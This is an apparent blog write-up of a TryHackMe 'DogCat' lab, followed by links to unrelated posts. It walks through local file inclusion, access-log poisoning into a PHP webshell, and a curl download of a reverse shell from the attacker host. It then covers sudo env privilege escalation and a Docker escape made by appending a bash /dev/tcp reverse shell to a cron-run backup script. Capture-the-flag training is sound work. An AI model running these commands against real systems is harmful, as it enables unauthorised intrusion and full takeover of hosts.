[Day20] THM DogCat

Recon

  • 先用老梗 nmap -A 10.10.221.153
    • 发现只有开 80 跟 22
  • dirsearch
    • 发现基本上都没有东西 QQ

观察80 Port

  • http://10.10.221.153/
    • 会发现可以选狗勾或猫猫
      • 选猫猫会出现
        • 网址是 http://10.10.221.153/?view=cat
      • 选狗勾
        • 网址是 http://10.10.221.153/?view=dog
        • 不要问我为什麽不帮狗勾截图

LFI

  • 这边可以套一个 php 的 LFI 老梗 PHP Wrapper
    • http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=cat
    • 可以发现成功喷出了一堆 base64
      • PGltZyBzcmM9ImNhdHMvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K
      • 解码後发现是 <img src="cats/<?php echo rand(1, 10); ?>.jpg" />
      • 而同理解码狗勾是 <img src="dogs/<?php echo rand(1, 10); ?>.jpg" />
  • 绕狗勾
    • 假设我们想要看 /etc/passwd
      • http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=/etc/passwd
      • 他会说 Sorry, only dogs or cats are allowed.
    • 而如果我们输入 /etc/passwddog
      • 他会回传 Here you go! 但是喷一些错误
      • 因为找不到档案,所以错误很合理
    • 那我们尝试乱写奇怪的路径看看
      • http://10.10.221.153/?view=php://filter/convert.base64-encode/resource=./dog/../dog
      • 会发现可以成功开启狗勾
  • 尝试观察 index.php 内容 这边只截录重点
<?php
	function containsStr($str, $substr) {
		return strpos($str, $substr) !== false;
	}
	$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
	if(isset($_GET['view'])) {
		if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
			echo 'Here you go!';
			include $_GET['view'] . $ext;
		} else {
			echo 'Sorry, only dogs or cats are allowed.';
		}
	}
?>
  • 可以发现参数 ext 很重要
    • 我们可以透过给予 ext 空白绕过副档名
  • 任意 LFI
    • http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../index.php
    • http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../etc/passwd
    • http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../etc/apache2/apache2.conf
    • http://10.10.221.153/?ext=&view=php://filter/convert.base64-encode/resource=./dog/../../../../../../../var/log/apache2/access.log
      • 可以发现 access.log 可读
        • 可以透过 access.log 来做到 LFI 2 RCE
  • LFI 2 RCE
    • 如果在浏览器输入这个

      • 10.10.221.153?A=<?php phpinfo(); ?</php>
    • 在 log 上会变成这样

      • /?A=%3C?php%20phpinfo();%20?%3C/php%3E
      • 主要是因为 HTTP 会做到 URL Encode
    • 所以可以用 nc

      • nc 10.10.221.153 80
      • GET /MEOW?<?php phpinfo(); ?>
        • 成功!
  • 写入 webshell
    • nc 10.10.221.153 80
    • GET /MEOW?<?php system($_GET[A]); ?>
      • http://10.10.221.153/?ext=&view=./dog/../../../../../../../var/log/apache2/access.log&A=curl%20-o%20/tmp/s%20http://10.13.21.55:8000/s
        • 载入 reverse shell
        • 在这边发现这台电脑没有 wget,所以用 curl
      • http://10.10.221.153/?ext=&view=./dog/../../../../../../../var/log/apache2/access.log&A=bash%20/tmp/s
        • 执行 reverse shell
        • 本地 nc -vlk 7877
        • 就可以顺利接到 Shell ㄌ!

Shell

  • /var/www/flag.php
    • 可以找到 flag1
  • /var/www/flag.php
    • 可以找到 flag2
  • 尝试提权
    • 输入 sudo -l 可以发现我们可以用 root 来 run /usr/bin/env
      • 这边有两种用法
        • /usr/bin/env ls /root
          • 就可以用 roo 来 ls /root
        • 也可以参考 gtfobins
          • 有 suid 的 env
          • env /usr/bin/sh -p
    • 取得 root flag (flag3)
      • THM{D1ff3r3nt_3nv1ronments_874112}

Docker 提权

  • 不管了,先老梗的 linpeas 下去
    • curl -o linpeas.sh 10.13.21.55:8000/linpeas.sh
    • /usr/bin/env /tmp/linpeas.sh
      • 可以发现根目录有 /.dockerenv
      • 确定目前我们在docker中
  • 发现备份档案
    • 发现有 backup.tarbackup.sh
    • 试着把档案复制到 /var/www/html 来准备下载
  • 下载并观察备份档案
    • wget http://10.10.221.153/backup.tar
    • tar xf backup.tar
  • 观察 Docker File
      • 发现没什麽特别
      • 但也发现为什麽 access log 一直有喷一个 127.0.0.1 的 curl
  • 观察 launch.sh
    • 发现重点!!
    • 他把 /opt/backup 挂载到本地的/root/container/backup
      • 所以我在 /opt/backup 写资料会跑到本地端
        • 那问题就只剩下,我们怎麽让本地执行
  • 观察 backup.sh
    • 发现里面就 tar cf /root/container/backup/backup.tar /root/container
    • 但......本地端是怎麽执行的ㄋ??
    • 突然发现上面的 backup.tar 就刚好是当前时间!
      • 所以可以推测说在远端有一个 cron job
  • 写入 backup.sh
    • 戳一个 reverse shell
      • echo "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" >> backup.sh
    • 本地端开 nc -vlk 7878
    • 拿到本地 root shell! (flag4)
      • THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

<<:  近似最短路径 (1)

>>:  [Day21]浅谈solidity

Day12 数据图表化 - 如何建立 Visualize

在今天的文章中,我们准备开始建立视觉化(Visualize)元件,来展现一下kibana强大的图形化...

Day2 用python写UI-聊聊tkinter的基本操作~

今天要介绍视窗设定,会分成三个部份来讲,建立视窗、设定视窗大小跟视窗的其他基本设定,那我们不多说就直...

【React Hook 01】概述

Hook 是 React 16.8 中增加的新功能, 补足了早期 Function Componen...

day 24 - 失控的浮点数, decimal套件介绍

在写程序的过程, 多多少少会遇到需要复杂处理的状况, Go的优点是很多使用情境已经有前人帮忙整理成套...